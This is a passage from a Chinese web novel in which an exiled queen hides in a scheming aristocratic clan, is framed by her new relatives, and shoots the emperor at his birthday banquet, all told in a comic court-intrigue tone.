——王怀雪绝笔。” 这张信纸被上官梨贴身携带,历经重重战火,已被鲜血染污。字迹模糊不清,一如女子呜咽。 王氏家主王阳晖两鬓已然斑白,眼角有细密的皱纹,仍威严持重,风霜不减其势。 但约莫岁月还是在他身上留下过一点痕迹,哪怕曾经放养到了任孩子们自相残杀的地步,真见了血脉凋零,还是忍不住发出了一声叹息。 “既然是怀雪遗愿,你便在王氏留下。”王阳晖道,“我会放出消息称你是前来投奔的远方亲戚。谢家小辈既然对你有意,我会替你做主,也算了却一桩心事。” “多谢大人。” 慕容轻病得起不来床,没有大秉本地人在旁边,上官梨秉承着多说多错的道理,只恭敬垂首。 窗外传来些微的细雨之声,哪怕白日,室内光线也不慎良好,需得点上许多烛台。 借着烛光,王阳晖上下打量着这个自称梨儿的少女,她虽面上恭顺,但脊梁笔直,行走坐卧皆是大开大阖,毫无柔情女儿风范,心中不喜。 于是又道:“我虽将你收为义女,但终究你非王氏中人,与王氏族中子弟需得避嫌;若在琼华惹了什么事,我便将你扫出门去!” 上官梨不知道他发什么疯。不过她本来就是来惹事的,倒也不怕事,也恭恭敬敬应了。 . 上官梨被分到一处偏僻的小院居住,好歹是不用花高价住没有哄睡服务的客栈了。 她很担心生病的慕容轻,只是浅浅看了一眼,确认有两张床可以睡。便出门接人。 一炷香后,得到消息的王氏之女王怀槐推开小院的门。 只是个乡下小女,就应该老老实实呆在乡下,嫁给粗鄙的农夫。怎么能一朝来城,万一是个有坏心思的,坏了她的婚事怎么办? 她从袖中掏出支漂亮的鸡血石簪子,四下看看无人,便小心翼翼地放在小院的梳妆台中。 等到梨儿回转,她便去向爹爹哭诉梨儿偷了她的首饰。想必到那时,她再也没有呆在这里的脸面! 王怀槐趾高气扬地走了。又一炷香后,王氏之子王怀远鬼鬼祟祟推开小院的门。 只是个远房亲戚,怎么配进王氏之门?他以琼华王氏血脉为傲,若梨儿行差踏错,岂不是他也跟着丢脸?还是早早地赶走为好。 他从袖中掏出只精美的玉如意,目标明确地放在梨儿的床头。 待梨儿回转,他就去向爹爹禀告梨儿偷了他的东西。想必到那时,这种低贱的女人只能灰溜溜滚回去! 王怀远大摇大摆地走了。半柱香后,又一个人小心翼翼地推开小院的门,在书桌上放下一尊观音小像,满意离去。 半个时辰后,一个人砰地推开小院的门,四下看看,在她床底藏了一只成色极佳的玉镯........ 谢厌虽然人不怎么样,但至少医术极佳。 慕容轻饮了药汁,又得了平静安定的床休息,今日便好了大半,可以自己骑马了。 上官梨脚步轻快,轻轻松松地提着一个木箱,里面的枪支碰撞产生些微的响声。她边推开门,边回头道:“......那皇帝慕容微,阴险狡诈我认,但你说的事迹未免太过夸张了些。什么生来有异象、死而复生等事,不过是阿谀奉承之言。阿轻?阿轻?你怎么不说话啦?” 慕容轻震撼失语。 上官梨顺着她的目光看去,简直被房中的金碧辉煌闪瞎了眼。 虽然院子还是那个院子,但和原来蒙尘的模样完全不同。桌上文房四宝样样不凡,梳妆台被珠宝首饰填满,床头的玉如意闪着柔和的光。 不知道哪个人实在太闲,生怕自己的东西染了尘,连地板桌子都帮忙洒扫了! 一间小厢房,一尘不染,熠熠生辉。 “走错了吗?”上官梨赶快拉着慕容轻退出来,又仔细看了看,困惑道,“没走错啊???” 如此偏僻的小院只此一间,慕容轻意识到不对,啪地双手捂脸,道:“不好!” 呼啦啦,一大群人涌入上官梨的小院,把这里围得水泄不通。 上官梨还以为是事情败露,喀拉给手/枪/上/膛,慕容轻腾出一只手来猛地按住她。 只是半日不见的王氏家主阳晖身边簇拥着一堆年轻男女。他揉了揉眉心,不知道为什么上官梨从中看出了一点心酸。 他道:“梨儿,只是半日不到,你怎么就偷了你表妹的鎏金鸡血石牡丹形银簪、你表哥的青石嵌白玉灵芝如意、你表姐的青釉笔洗、你伯伯的金累丝嵌猫眼石牡丹花钿.........” 上官梨一开始还有点警惕,然后意识到被污蔑,变得有点愤怒。 但等到他说到第二十件的时候,上官梨的情绪就已经变成了一种麻木,和一种听听他还能爆出来点什么的期待。 “......还有你堂叔的盘羊纹金耳坠。一共二十三件,桩桩件件具有人证物证,你可认罪?” 二十四件,十三个苦主,她上官梨是来王氏进货来了。 她只不过离开三个时辰,平均一个时辰至少要逛四个人的院子,顺走八件东西。 上官梨要是有这种本事,早就直接去把慕容皇帝的脑袋割下来祭奠一下死去的亡夫。 谁还在这里跟他们虚与委蛇? 上官梨面露痛苦,好想回大阜。 而慕容轻轻松绷住。在这种时刻还能保有良好的语言功能是一件很不容易的事,她面无表情道:“真的不是我家小姐做的。” “好孩子,我一猜就不是你。”王阳晖抹 了把脸,麻木道,“定然是有人污蔑。我会叫人好好查验一番,还你清白。” “你一来大家都丢东西,不是你是谁?”王怀远插嘴道。 这种事情他们都做得多了,原本这个时候应该有人附和。 但现在,几个年长一些的面上涵养还好,几个年少一些的眼睛咕噜咕噜乱转,目光游移,空气中弥漫着一种尴尬的氛围。 以往大家都是互相栽赃。这次来了一个新人,谁知道其他人也干了? 王阳晖不喜梨儿,但有远嫁女儿遗嘱在前,他收留一阵,给梨儿份嫁妆也就罢了。 他也很鼓励家中人互相竞争。 树挪死人挪活,只有最有能力的人才能在这个家里活下来! 前提是没有搞出这种愚蠢到只会让人看了想笑的乌龙出来! 王阳晖本意直接把这事草草过去,但越想越气,梨儿是外人,这岂不是让人家笑话? 他骂道:“一群蠢货!全都给我去怀璟处领罚!” “你也是!”他一指忍笑忍到肌肉抽搐的上官梨。 上官梨天降无辜大锅,伸出一根手指指向自己,道:“我?我是苦主啊,为何?” “你怎么能没及时发现、并制止这些人的愚蠢行为呢?同样不合格。如果换在朝堂上,面对的不是我,而是君王,你已经被污蔑至死了!” “你现在也是王氏的一份子。记住,在这个家里,苦主也是有罪!不够优秀就是有罪!” 上官梨:“...............” 行。 众人如丧考妣地散了,顺带各自领走了自己的手镯玉如意簪子等物。 上官梨躺在床上,终于能得到片刻清净。 大阜国破已然半年有余。 上官梨因不忍百姓粮草不足而开利阳城门,慕容氏理所应当地占领了这份土地。而皇帝解决粮食不足的方法很简单。 屠啊。 人少了就不会吃那么多了。 只有见过血的人才听话,利阳人被上官梨带的全是一身反骨,杀掉重新生,乖顺很多。 上官梨此身此名,已然沾染无数血债。 她死后一定会下地狱,受万箭穿心之苦吧。 而在尚苟活于世之时,她要替百姓们摘下那残暴皇帝的项上人头。 琼华总是在下雨,阴雨绵绵,一年中能得见日光的时候不多。上官梨在轻微的雨打芭蕉声中入睡,又在行云流水的琴声中醒来。 琴声愤愤,摄人心魄,仿若惊涛拍岸,烈日西坠,江河断,盛世无;又时而幽幽,如戏子哭,佳人笑,红颜多薄命;让人听了,心头郁郁,跌宕起伏,好不难过。 上官梨揉了揉眼睛,抬头看了眼天色,黑的,因为一直在下雨的缘故,连月亮都没有。 她翻了个身,捂住耳朵。但琴声怨愤,久久未歇,大有弹奏到天亮之意。 本来来大秉就烦。上官梨披上衣服,跳下床,把手枪和匕首塞进怀中,愤怒地撑伞出了门。 是不是有毛病,谁在大半夜弹琴??? 64. 第64章 织女状诉天上人 上官梨一路循着琴声,却是来到了王府的一处池边小亭。 雨水沾湿衣袍,水汽黏在身上。上官梨并未来得及购置大秉男女轻薄且在雨季便于行动的衣着,湿漉之意让人十分不适。 借着亭上微弱的灯火,上官梨只能看得清楚这个在弹奏着令人难过的音乐的,是个男人。 大半夜的披头散发,身穿白衣,雨水噼里啪啦地下,他乒乒乓乓地弹,不是个疯子,也是个神经病。 上官梨清清嗓子,礼貌道:“夜色深重,琴声虽好,却扰人清梦。不知公子因何郁郁难解?可与梨儿说上一说。” 那人的乐声停了一停,又起,声如碎玉,道:“你可解我曲中之意?” 上官梨一个理工科,生平最爱摇滚乐,学着摇滚明星打了三个耳骨钉,一天到晚把长腿和细腰埋没在工装裤和格子衬衫里。 就听不懂这种没词的古典乐,她礼貌道:“我好像不能呢。” “...........” 乐声停了。琴弦还在微微震动,耳中只闻世上杂音万千。 王怀璟冷淡地解释道:“此曲名为《织女状》。” “织女原为天上仙女,被人藏起羽衣,再也无法重回仙界,只得与牛郎共度余生。种种凡尘都让她无法忍受,学起凡人,起草一纸诉状,将牛郎告上县衙,期盼能与之和离。” 王怀璟皱起眉头,对梨儿不过半分道听途说,此时化作了十分不满,道:“你怎么连此曲都未曾听闻?可曾读过什么书?” 真是个悲惨的故事。 上官梨品味一阵,道:“所以公子半夜奏乐,是认为自己惨过织女?” “....................” 上官梨困惑歪头。 王怀璟把琴抱在怀中,冷笑道:“你别忘了你也需得受罚。今日巳时,记得来梦绛堂!” 他撑伞走了,留上官梨在原地莫名其妙。 . “哪里有问题吗?” 上官梨嚼着慕容轻做的早饭,腮帮子鼓鼓,愤愤道:“我不过顺着他的话往下说而已,真没礼貌!” “大人呐。”慕容轻扶额,真恨自己青春不再,昨夜睡得死沉。 想也知道上官梨根本无法理解这种幽怨的男子心思,她索性直接了当道:“王怀璟自持身份,孤高狂傲,眼高于顶。大人,你只要不再惹他,他是不屑于和凡人计较的。” “他不也是凡人吗?还能是什么别的物种???” 上官梨很瞧不起这种人,嘟囔道:“我又不得不去梦绛堂应付他。大约是要打我些板子吧,不碍事。阿轻,你好好休息,我去去就回。” . 什么梦绛堂,根本就是刑房。 大约王氏这种大家,才最知道自己手底下都没什么好鸟。无论辈分大小,犯错的都一概同仁地在这里挨揍。 美名其曰,只有身体上痛了,才能知道教训。以便吸取经验,才能下一次更好地下黑手。 不管男女老少,在梦绛堂都被打得嗷嗷惨叫。 有个少女捂着鲜血淋漓的小臂,脸被帷帽遮着看不清面容。但指节用力到发白,上官梨觉得那可不叫忏悔。 而皮实一点的青年是被担架抬着出去的。 王怀远依然不服输地腹部发力,昂起头盯着上官梨,用拇指在脖子上一划,威胁之意溢于言表。 然后他就因为大腿后侧剧烈的疼痛晕过去了。 其实是完全的受害者的上官梨:“.........” 真的不是很懂你们,真的。 因为诬陷上官梨这事儿的人实在是有点多,上官梨本人都在旁边喝完一壶茶,才轮到她。 梦绛堂中充斥着新鲜的血腥气。 上官梨身体好,不怕被打,抬头挺胸进去了,在帷帽的缝隙中,她终于看清了织女兄的真容。 王怀璟生得谪仙似的,头发整齐地束起来,一席轻薄的白衣,真衬得此人宛如天上来。 除却他手中拿着根鲜血淋漓的戒尺、白衣迸溅不少血珠、以及略显气喘之外。 上官梨和他莫名对视一阵。 看女子被打的都是小臂,她也伸出手臂,道:“诺。你要打就打,我比较忙。打完我还要去逛琼华城呢。” 王怀璟把戒尺用布巾擦净,慢条斯理道:“你不怕吗?” 没有提供情绪价值的义务。而且上官梨九死一生的关头也不在少数,于是诚实道:“不怕。” 王怀璟看她不顺眼,那戒尺挑起上官梨的袖口,露出雪白的手臂,道:“你知道王家家法是握在我手中吗?我可并非秉公持正之人。若惹了我不顺心,我可不会数多打了你几下。” “看得出来。”上官梨点头,道,“我娘教过我,生活不如意的人总这样。” 王怀璟:“........” “可以打了吗?”上官梨道,“别担心,我不会计较这点小事,你就算多打我几下,我也不会记仇的。你也挺辛苦的,干的体力活。” 王怀璟:“.................” 他要被这女人活活气死了。 梦绛堂主要处理犯事的王氏族人。 女子打小臂,是因为女子做绣活多,伤口未好时时痛楚;男子打大腿,是因为骑马出行多,伤口未好时时煎熬。 总要有足够痛楚,才能让人知错就改。这女人本就因无知才来受罚,很明显不是会知痛就改的类型。 他把戒尺随手扔一边,道:“你不必被打了。” “你良心发现了?” “我决定因材施教了。” 王怀璟把厚厚的一本家法放在上官梨面前,冷笑道:“背吧,背不完别想从这里出去!” 上官梨从头到尾翻了翻,又从后往前翻了翻,合上书,高兴道:“好了,我背完了。” “?” 王怀璟刚给自己倒了杯茶,冷笑道:“你怕不是不识字。王氏家法第一条是什么,你读给我听听。” “凡我王氏族人,唯强者无罪,而罪于无知、懦弱、贫穷。”上官梨抱臂,无语道,“怪不得你们这里一个正常人也没有,原来是从根上就出了问题。” “?”王怀璟怀疑她是只记住了这一句,又道,“那第八条呢?” “体弱者毙于野,亲者应愧其生。凡我王氏人,无论年龄,皆应立于朝堂,死于战场。”上官梨还有空点评一句,道,“好扭曲。我娘可是只要我幸福快乐,你的长辈应该学习一下我娘。” “........”王怀璟又道,“第一百二十条?” “逃亡者鞭三十,父母同受辱。” “第两百七十六条?” “使王氏辱没于世家者,鞭七十,曝尸荒野。” “第三百四十八条?” “王氏族内不可通婚。因一时之欲而使血脉不宽,死后刻于祠堂,世代嘲笑。” 这玩意在上官梨看来就是纯纯的封建糟泊,狗屁不通。 她看完了居然能对琼华王氏这种天龙人都生出点怜悯来,在这样的环境下长大,谁能不扭曲。她道:“够了吗?” 王怀璟不得不重新审视她,收留一个远房孤女和收留一个远房天才差别太大了。 收留一个天才,就要承担诸如扮猪吃虎、莫欺少年穷、三十年河东三十年河西、退婚归来等等诸如此类的剧本,前车之鉴已经有很多了。 他不得不替王氏做打算,眉毛皱起来:“你既有如此之才,何处不能为家,因何来投奔?” 上官梨眼神飘移,她根本不会撒谎。 幸好带着帷帽,对面看不清她,她只有偶尔能看清对面。她道:“我一个人怎么在这乱世活下去呢?” “你没有手脚吗?”王怀璟失望道 ,“旁人能活,你也能活。无金银财宝、仆从成群,你便活不下去吗?有些人反而羡慕你的日子,你却庸人自扰。罢了,你走吧。” 看这女人走时迫不及待的模样,她根本就没有把他的话听在耳中。 不通礼法,率性而为,连梨儿这个名字都不甚吉利——和那大阜的亡国皇后名讳相同。 听说谢家的讨债鬼对这女人有意,需得秉明父亲,将此事迅速推行,让两个人互相去比谁命更硬吧。 嚎啕在王氏宅院中此起彼伏。 令人烦躁不堪。 如果这些人不那么愚蠢,不就不会挨揍了? 明知家法如此,还要烦他,真不知道这些人的脑子都长到哪里去了! 砰!王怀璟用力摔上梦绛堂的门。 夜来多惊梦,王怀璟照旧抚琴于亭上,此处偏僻,本少有人来。 轻扫琴弦,琴音颤颤,他忽然念起此地已经住了个胆大包天的女子,如果扰了她的清梦,必然是又要来计较一番。 此女又粗俗不懂乐理。王怀璟兴致全无,拂袖而去,亭上只余雨声幽微。 慕容微帝王心术深不可测,但又荒唐而反复无常,朝令夕改,伴君如伴虎。 有的时候王怀璟会希望皇帝亲弟慕容熙小时候把慕容微推下的不是台阶,而是悬崖。 如果慕容微死了就好了。 王怀璟在朝堂上对于新政侃侃而谈,但他知道慕容微根本没在听的,只一心想着他的寿宴。 果然,慕容微听完了他的长篇大论,只宣布今夜寿宴,将有美人歌舞,宴请四方群臣。 群臣恭祝皇帝万岁千岁,嘈杂又刺耳,自然无人是真心的。 日复一日,只与这帮见了就令人欲呕的凡夫俗子打交道。 王怀璟重又回到亭上,奏响了琴弦。 就算梨儿气到拿琴敲他的脑袋,他也不会停的,最多给她换个地方住。 一曲《织女状》奏毕,梨儿没有出现。 听说她近日都是闭门不出,据说是水土不服,染了病,躺在床上流眼泪。 以这阴沉的天色来看,今日还会有一场大雨。 琼华就是这样令人作呕,连梨儿这样的女人都会在此生病。 寿宴乏善可陈,舞姬随着丝竹声起舞。 一帮老的快死的老头在不衷心地祝愿一个二十多岁的年轻人万寿无疆,吵得人头痛。 “大理寺卿,朕听闻你最善琴。何妨弹奏一曲,以悦朕耳?” 来了,还有最常见的羞辱环节。 王怀璟的琴不是弹给他听的,慕容微这种人也听不懂。 在刚致仕时,他还会感到屈辱。 现在他已经不会了,因为被羞辱的也不只有他,还有会丹青的,善鼓乐的,养狗的养猫的养鸟的,大家都一样。 慕容微一张丑陋无比的脸上笑容扭曲,道:“还不为爱卿斟酒?” 乐师连滚带爬地离开了他的位置,现在坐在这个卑贱位置的换成了王怀璟。 琴音不得不欢欣鼓舞,谄媚至极,王怀璟心下也厌烦至极。 侍女更是莫名将酒液泼洒到他的手背,更让人恼怒。 王怀璟心中不耐,抬眼看去,却见这侍女半分赔礼道歉的意图也无。 虽然恭敬垂首,但脊梁笔直,大步流星,一看便是并非久居人下之人。 她把酒坛放下。 在王怀璟的角度,能看见她的帽纱微微倾斜,露出下巴上一点微不可查的小痣。 然后,她抬手探向怀中。 王怀璟毕生在求一乐音,可涤净人世,超脱痛苦。 可天上人、地上皇、碌碌凡尘,看的都是不一样的东西,哪有什么曲子是能让所有人都驻足聆听的呢? 当然有。 那就是—— “砰!砰!砰!砰!砰!砰!砰!砰!砰!砰!” 65. 第65章 仙不仙来侠不侠 在连尖叫都来不及发出来的时候,上官梨已经往慕容微的肚子里送去了九发子/弹,直到弹/匣空空,才觉出心中快意。 尖叫声四起。 “我操,有刺客!” 哪怕已经拿到了上官梨手作霰/弹枪图纸,但科技树的空缺并非一日之功。 叫上官梨又补了三/四/枪,打得烛台倾倒,灯笼破碎,空余一片火烧。 浓烟四起,大秉人可不管你这那的,帝王命更贵,我的命也不差啊。侍卫宫女当即逃之夭夭,大臣们逃得更快。 在王怀璟目瞪口呆的功夫,上官梨劈手把侍女的衣物一拽,露出底下的侍卫服饰,也混入了尖叫的人群中,狂奔不见了。 浓烟四起的宫殿,王怀璟表情空白,扯下飞到脸上的侍女衣着。 梨儿实在太好认了,那样的脊梁和姿态,哪怕遮着脸,熟悉她的人一定都能认得出。 这种仇恨,此等神兵,这个名字,王怀璟后知后觉地意识到他家摊上大事了。 我操,上官梨! 上官梨绝对不能被抓!起码不能在他家被抓!他大骂一声,也冲了出去。 “居然连个护驾的人也没有。”慕容熙靠在龙椅上,望着王怀璟的背影,手中小扇折射出火光,他道,“你看看,死到临头的时候还是只有兄弟靠得住吧。你平时对我的态度太差了,我很不满意啊。” 慕容微倒在血泊中,睁大的双眼充满渴望与希冀:“对不住.......救.......救.......救我.......” “我知道。”慕容熙笑道,“别急嘛。治不好你我就让太医院陪葬,相信他们一定可以做到的!” . 皇帝遇刺此等大事,众人在被大秉本能占领的脑子终于后知后觉地意识到不对。 还好慕容熙还是比较靠谱的,已经把皇帝拖出来交由太医,同时要求手下一个个清点人数。 点完了一个没多也一个没少,重重宫门都及时落锁封死,本应一只麻雀都飞不出去。 但宫女们连后妃的床板都掀了,就是找不到刺客。 上官梨居然真的能逃脱,王怀璟是最大的受益者,暗自松了一口气。 慕容熙靠在龙椅上,轻摇小扇,若有所思。能做到如此地步的人寥寥。半晌,他吩咐下人道: “去,给燕衔杯通缉令上再加一笔。” “以及.......” 臣子们都噤若寒蝉,生怕慕容氏事后算账,一个个缩起脑袋来,什么话也不敢说。 慕容熙觉得很有意思,简直太有意思了。他故意拖长了调子,道:“陛下这次元气大伤。三年一次的选秀提前,所有适龄女子都得参加,给陛下沾沾喜气。” . “给,尾款。” 上官梨揉着肚子,把两根金条递给这位头戴斗笠、腰佩长剑的俊朗男人。 能扛着一个大活人飞檐走壁、任意出入宫闱,还能避开所有人耳目。上官梨自己是做不到的,这钱花得真值。 燕衔杯掂了掂,金子碰撞发出沉重的敲击声。确定重量没错,他也笑道:“合作愉快。” 可惜人不是侠客,更像是雇佣兵。 他一指旁边通缉令,仙之人兮列如麻的事迹下还有小小的一排联系方式。燕衔杯道:“下次还可以如此找我。战绩可查。” 上官梨很想弄死慕容微,但这里贱人比较多,宫禁比也大阜森严多了。 一筹莫展之下,她碰巧看到了燕衔杯的通缉令。 燕衔杯,大秉泸州人士,年二十一,幼时不敬师长,长时欺师灭祖,屡犯宫闱造杀业而不改,现任朝廷头牌通缉犯。 下面还有燕衔杯自己补的小字:以叶为笛,可见燕来。 大约这就是干到头牌的含金量,可以自主接单。 天哪,琼华暴雨噼里啪啦,她坐在屋顶上叼着个破叶子呜呜咽咽,一连折腾三天。弄得慕容轻忧心不已,还以为她终于疯了。 在被王氏之人发现之前,她很幸运地等到了燕衔杯,才因此能借力有这场刺杀。 “下次还找你。”上官梨竖起一根大拇指,肯定了他的专业水平,又道,“你有这等本事,朝廷把你逼到这种地步了,怎么不自己把那狗皇帝杀了一了百了?” “我.......”燕衔杯略一犹豫,但上官梨犯的事也不比他小,他还是说了实话,道,“我试过。但没成功。” “砰砰砰!”上官梨的小院大门被人敲响。 燕衔杯这种通缉犯,是不会留下把柄在人前的。只是一个眨眼的功夫,他就消失在墙后。 如果他将来金盆洗手,大约也是偷情做三的一把好手。 “梨儿!”王怀璟的声音像是压抑着怒火,用力锤了下门,道,“我知道你在里面,给我开门!” 上官梨的衣服湿透了,连忙奔去换掉。 慕容轻去开门,面无表情道:“我家小姐染了风寒.,无法见客,还请见怪......哇,您被人打了吗?” 王怀璟狼狈极了,身上白衣被泥水染污了,被雨水淋得透湿。 这是自然,因为他策马狂奔回来的,为的就是好好找上官梨算账。 他一把推开慕容轻,大步流星迈向卧室,木门发出砰的一声。 上官梨把湿掉的衣服塞进桶里踢进床下,一见他闯进来,便把帷帽扣在头上,装模作样咳咳了两声,道:“......公子如此作风,怕是于礼不合.......” “啊,是吗?” 王怀璟只觉得自己太阳穴的血管都在突突地跳,差点被被灭九族的这种感觉实在是太刺激了,一般人还是承受不太住的。 肾上腺素狂飙,他做事也只凭本能。 他指着上官梨湿掉的枕头,冷声道:“一个病人,怎么头发是湿的?” “我刚沐浴过。”上官梨眼神游移。 王怀璟抓住她的手腕,冷笑道:“那你的皮肤怎么这么凉?” “我体虚。”上官梨甩开他的钳制,力气大到让他差点后退两步。 王怀璟终于被气笑了,道:“上官梨,我知道是你,别装了!” 上官梨终于拨开帷幕,看了他一眼。 王怀璟只觉一阵大力抓住他的衣领,天旋地转,后背一阵剧痛,已被狠狠摔在床板上。 “别想叫人。”上官梨掐着他的脖子,冷冷道,“你在发出声音来之前就会被我杀掉。” 王氏这一代无人是将才,在朝堂上长袖善舞。 这个在邻国被奉为神女、给谢厌都能创造出心理阴影的上官皇后,究竟是何许人也,王怀璟不过道听途说。 现在知道了。 喀拉一声,那把慕容微打成筛子的东西,正死死对着他的脑门。 上官梨跨坐在他身上,死死地压住 他的身体,居高临下,帷帽落在一旁,手上青筋暴起。 没了大秉这堪称有病的男女大防,王怀璟在死到临头之时,终于能得窥上官梨真容。 艳若桃李,带着森然鬼气。 他在这一刻终于感受到了死亡的阴影,上官梨真的会杀人。 灭国之仇,上官梨能忘吗? 现在没杀他,不过是因为上官梨还有话要问。 “你怎么知道的?”上官梨歪头,她是真的很困惑,道,“你们大秉对刺客来说这么方便,我又很小心地从未露出真容。” ........就是感觉脑子好像缺根弦。 受制于人,王怀璟也不惧,只冷笑道:“明眼人谁都能认得出你!” “怎么可能?”上官梨不信。 慕容轻默默把门从内部锁死了,道:“大人呐,他好像说的是实话哦。” “..............”上官梨暂且把这件事放下,道,“不论如何,公子,若是官家问起来,你便只需说梨儿在房中养病,一步未踏出。想必对你来说,这件事不难。” “慕容熙已经为你开出了千金的天价。”王怀璟道,“如果我想要害你,会在认出你的时候就告发你。” “哦?”上官梨若有所思道,“那就是你想帮我喽?为什么?” “哼。”王怀璟自嘲地笑笑,道,“我是王氏子,若你现在出事,必然会牵连到我族。我要之后你老老实实的,不管你之后再想惹什么事,都要等到你嫁给谢厌之后,自去害他。” 简直是个双赢的好主意。 可以连带谢厌的九族,对上官梨来说简直太赚了。她自然满口答应,又道:“可是梨儿现在势单力孤,若是公子将来回心转意,我这边可是比较被动。” 这好办。 为了让上官梨暂时不出去惹事,王怀璟势必要拿出来点什么东西让她安心。 王怀璟现在身上就有可以给她的东西,一块象征身份的玉佩。 不过他被上官梨压得动弹不得,只得道:“你放开我。” 上官梨浅薄的权谋知识都是从OO传上学来的。她沉吟片刻,道:“你把你的肚兜脱给我吧。” “????” 王怀璟的动作停住了,难以置信地看着上官梨,因为不知道作何反应,脸上一片空白。 “这样你若是不想让清白有污,势必要和我在同一条船上。”上官梨觉得自己简直太有心眼子了。 这人的脑子里究竟都是些什么??? 王怀璟一时不知道是该向她解释男人不穿肚兜,还是男人不在乎清白。 虽然他是清白的,但万一上官梨换一件衣服要该怎么办,他是给还是不给? 最后他选择了不解释。 和这女人多呆一分钟都让他难以忍受,他忍着怒意,把玉佩戳在上官梨脸上。 还有一个问题,上官梨没有第二床干燥的被子。 此女明明自己弄湿了自己的床,偏要赖别人。 在枪/口的威胁下,王怀璟不得不帮她寻来床棉被,敢怒不敢言,小发雷霆地走了。 听慕容轻的来王氏果然是对的。上官梨躺在软和的床上心满意足地想,这种有九族兜底的感觉还是比较好。 唯一不爽的是,在被太医院以全体九族之力抢救了三天之后,慕容微居然生还!真可堪称医学史上的奇迹! 66. 第66章 白衣看杀堂上人 这可真令人匪夷所思,要知道那可是九发子/弹,上官梨拿来打狼都能打死一头。 这人居然还能活,生命力当真是顽强无比。 上官梨真匪夷所思。 她在王氏府邸中躲了一阵子,有刺杀在前,琼华城中闹得满城风雨。 但梨儿是由功臣谢厌带入城中,又有王氏作证,暂时没人怀疑到她头上。 后来躲不下去了,因为慕容微昏迷七天后,醒来第一件事却是找女人。 他从龙床上抖擞精神,立刻要开办选秀,大操大办,就要纳漂亮的、年轻的小娘子入后宫。 全城的未婚小娘子都得参加,别管有婚约还是没婚约,帝王为大。 上官梨真是想破天也想不明白,这人的小头怎么没被一起打烂? 先前失手,现在机会又送到她手上。 上官梨给手/枪重新上/膛,这种枪/支可以把十米外的铁靶轰个稀巴烂。只要龙椅上坐的是个肉体凡胎,这次一定叫他下地狱。 “不行!” 王怀璟推门而入,他还是很特立独行地穿着一身白衣,一看到上官梨就知道她在想什么,道:“你答应过我,在离开王氏之前不惹事!” “只要你替我作不在场证明,我不就没在王氏惹事?”上官梨有一套自己的逻辑方式。 王怀璟怒道:“我怎么替你做?这次没人能把你带入宫闱,你出入可顶着我王氏的名头!” “而且进宫赴宴的小娘子都要搜身,你带不进去那神兵。“ 这就比较麻烦了。 不过这难不倒上官梨,她只心念一转,就有了办法。但就不必告诉王怀璟了。 王怀璟都不需要看这女子的脸色,就知道她一定又是有了坏主意。他冷笑道:“你若是以这幅姿态前去,刚迈入宫门,便会被人抓起来!” 他正是为此事前来,险些被上官梨气到忘记正事。上官梨被电视剧荼毒太深,以为换套衣服别人就认不出自己。 但朝堂上的这帮贱人哪个不是火眼金睛? 上官梨很听劝,道:“那你说该如何?” “你的身高体型变不得,至少姿态不能像个刺客!” “什么叫像个刺客?”这样说上官梨就不服了,道,“我娘说小姑娘就要有精神,抬头挺胸,才是祖国的花朵。” “求你别这样。”家里摊上这么个玩意,王怀璟服了,道,“你能表现得像家里没娘一样吗?” 上官梨沉吟了一会,那种可能太可怕了,她眼泪立刻噼里啪啦地往下掉。 “不是这种。”王怀璟立刻阻止了她,道,“我是想说如果家中没人能给你撑腰,你会怎么样?” 上官梨抽抽鼻子,道:“我现在就没有啊。” “........” 上官梨无家可归,可是大秉动的手。 王怀璟深知这个话题不能继续下去了,在王家摆脱这个烫手山芋之前,他必须努力维持这一切。 王怀璟心好累,道:“我是想说,你能表现得柔弱一些吗?若是男子看到女子弱柳扶风,便会下意识地以为这人没有威胁。” 上官梨咳嗽几声,实在太假了,中气十足,王怀璟道:“换一种。” 上官梨把腰用力佝偻了下去,王怀璟实在没眼看,道:“你是妙龄女子,不是风烛残年。” 上官梨拖着腿走路,王怀璟真的无语,绝望道:“这不是更显眼了吗?!” 几种办法居然都不行。上官梨沉吟片刻,选择抱住王怀璟的胳膊,拖长了调子撒娇道:“公子——” 她的声音清脆如银铃,话里话外在撒娇,语气却不娇。 只叫人听了,一下子就知道这人不怀好意,要谋图自己身上的某件东西。 慕容轻一身轻松,轻松愉快地给两人上茶,把门从外面锁死了,做点心的时候都在哼着小曲儿。 看到上官梨这梨花木头成精也在不停地折磨其他人,她的心情就十分愉快。 王怀璟已经充分地认识到这幅顶尖相貌的皮囊里大约住了一个心智健全的儿童,冷笑道:“上官梨,这是我给你的忠告,你记好了:世界上没有男人会被你骗到!” “给我把声音夹起来,现在立刻马上!” 上官梨不情不愿地吱哇两声,道:“我娘说那都是勾栏做派的野男人才需要做的事。” “你要是不做我将来就要被发配到勾栏里了。”王怀璟额角抽搐两下,忍不住道,“你夹得太难听了,重来!” 至少要在去选秀之前让上官梨看起来能像个人,不像个索命的女鬼。 王怀璟愈发觉得自己十分堕落。 要看顾这些家中的讨厌鬼和麻烦精就烦,要入朝为官更是烦上加烦。 现在更好,本来最多只用做个谄媚的小人就好了,现在他大约像个青/楼的老/鸨。 老/鸨就老/鸨吧,王怀璟接受能力很强。 至少把上官梨安抚好了,九族又可以安枕无忧几天。 一通教下来,他心累无比。 就这种拙劣的伪装,居然还能几乎得手,王怀璟真的很怀疑人生。 他嘲讽道:“你真的不是做刺客的材料。” 上官梨夹得嗓子冒烟,对王怀璟不由得心生几分佩服。 这人这么尽心尽力,一看就是对慕容氏也得有点怨言在。 她便也不瞒他,道:“我知道。若王家未容我,我会以上官梨的身份出现在慕容微面前。以献地图之由,图穷而匕现.......” 王怀璟记得上官梨是扮作侍女出现的,道:“后来你怎么改了计划?怕死?” “我没有地图。”上官梨平静道。 “我的丈夫是马上的常胜将军,但我讨厌打仗,一次也没看过舆图,后来有价值的舆图全被一把火烧了.......应该看一次的,以我的能力可以全默出来。” “.......” 王怀璟莫名地生出一点儿惺惺相惜来,想,上官梨也不容易。 上官梨扭得有点累了,王怀璟要求有点太高。她把帷帽摘下来放在一旁,擦了擦脸上的汗珠,道:“后来我又想,献地图不成,献舞也可以啊,在一曲终了的时候图穷而匕现.......” “但我又不会舞剑,只好作罢。” “于是我又想着,把慕容微请来赴宴,在外面埋伏五百刀斧手,听我掷杯为号冲进来将他乱刀砍死。可惜我想尽办法写了一百份请帖,他就是不来,只好我来........” 这都什么有的没的。 那点惺惺相惜立刻碎了,这女人可能真是天才,但上天为她关上的一扇窗也很明显。她脑袋绝对缺根弦。 王怀璟冷笑着道:“龙椅上坐的哪怕是头猪,他都不可能栽进你的陷阱里。” 上官梨很愤怒。 王怀璟一看她的动作停了,喝道: 